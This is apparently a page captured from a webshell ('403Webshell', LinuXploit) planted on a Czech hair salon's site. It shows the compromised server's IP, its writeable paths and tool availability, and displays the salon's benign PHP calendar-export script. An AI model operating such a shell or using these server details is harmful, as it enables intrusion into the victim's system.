403Webshell
Server IP : 193.86.120.172  /  Your IP : 216.73.216.215
Web Server : Apache/2.4.63 (Unix)
System : Linux JServices 3.10.108 #86003 SMP Wed Oct 22 13:20:46 CST 2025 x86_64
User : kubec ( 1026)
PHP Version : 8.2.28
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /volume1/web/kadernictvidenisa_cz/api/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /volume1/web/kadernictvidenisa_cz/api/ics.php
<?php
// ============================================
//  api/ics.php
//  GET /api/ics?token=...
//  Vygeneruje .ics soubor pro rezervaci
// ============================================

$token = sanitize($_GET['token'] ?? '');
if (strlen($token) !== 64) {
    http_response_code(400);
    echo 'Neplatný token.';
    exit;
}

$stmt = db()->prepare("
    SELECT r.*, s.nazev AS sluzba_nazev, s.trvani_min
    FROM rezervace r
    JOIN sluzby s ON s.id = r.sluzba_id
    WHERE r.token_zmena = ? AND r.stav != 'zrusena'
");
$stmt->execute([$token]);
$rez = $stmt->fetch();

if (!$rez) {
    http_response_code(404);
    echo 'Rezervace nenalezena.';
    exit;
}

$salon   = salon_nazev();
$adresa  = nastaveni('salon_adresa', '');
$telefon = nastaveni('salon_telefon', '');

// Formát datumu pro ICS: YYYYMMDDTHHMMSS
$datum     = str_replace('-', '', $rez['datum']);
$cas_od    = str_replace(':', '', substr($rez['cas_od'], 0, 5)) . '00';
$cas_do    = str_replace(':', '', substr($rez['cas_do'], 0, 5)) . '00';
$dtstart   = $datum . 'T' . $cas_od;
$dtend     = $datum . 'T' . $cas_do;
$dtstamp   = gmdate('Ymd\THis\Z');
$uid       = md5($rez['id'] . $rez['token_zmena']) . '@kadernictvi';

$summary     = $rez['sluzba_nazev'] . ' – ' . $salon;
$datum_fmt   = date('j. n. Y', strtotime($rez['datum']));
$description = 'Rezervace: ' . $rez['sluzba_nazev'] . '\n'
             . 'Datum: ' . $datum_fmt . '\n'
             . 'Čas: ' . substr($rez['cas_od'], 0, 5) . ' – ' . substr($rez['cas_do'], 0, 5) . '\n'
             . ($telefon ? 'Telefon: ' . $telefon : '');

$ics = "BEGIN:VCALENDAR\r\n"
     . "VERSION:2.0\r\n"
     . "PRODID:-//Kadernictvi//Rezervace//CS\r\n"
     . "CALSCALE:GREGORIAN\r\n"
     . "METHOD:REQUEST\r\n"
     . "BEGIN:VEVENT\r\n"
     . "UID:{$uid}\r\n"
     . "DTSTAMP:{$dtstamp}\r\n"
     . "DTSTART;TZID=Europe/Prague:{$dtstart}\r\n"
     . "DTEND;TZID=Europe/Prague:{$dtend}\r\n"
     . "SUMMARY:" . ics_escape($summary) . "\r\n"
     . "DESCRIPTION:" . ics_escape($description) . "\r\n"
     . ($adresa ? "LOCATION:" . ics_escape($adresa) . "\r\n" : "")
     . "STATUS:CONFIRMED\r\n"
     . "BEGIN:VALARM\r\n"
     . "TRIGGER:-PT60M\r\n"
     . "ACTION:DISPLAY\r\n"
     . "DESCRIPTION:Připomínka: " . ics_escape($summary) . "\r\n"
     . "END:VALARM\r\n"
     . "END:VEVENT\r\n"
     . "END:VCALENDAR\r\n";

$filename = 'rezervace-' . $rez['datum'] . '-' . str_replace(':', '', substr($rez['cas_od'], 0, 5)) . '.ics';

header('Content-Type: text/calendar; charset=utf-8');
header('Content-Disposition: attachment; filename="' . $filename . '"');
header('Cache-Control: no-cache, no-store');
echo $ics;
exit;

function ics_escape(string $text): string {
    $text = str_replace(['\\', ';', ','], ['\\\\', '\;', '\,'], $text);
    return $text;
}

Youez - 2016 - github.com/yon3zu
LinuXploit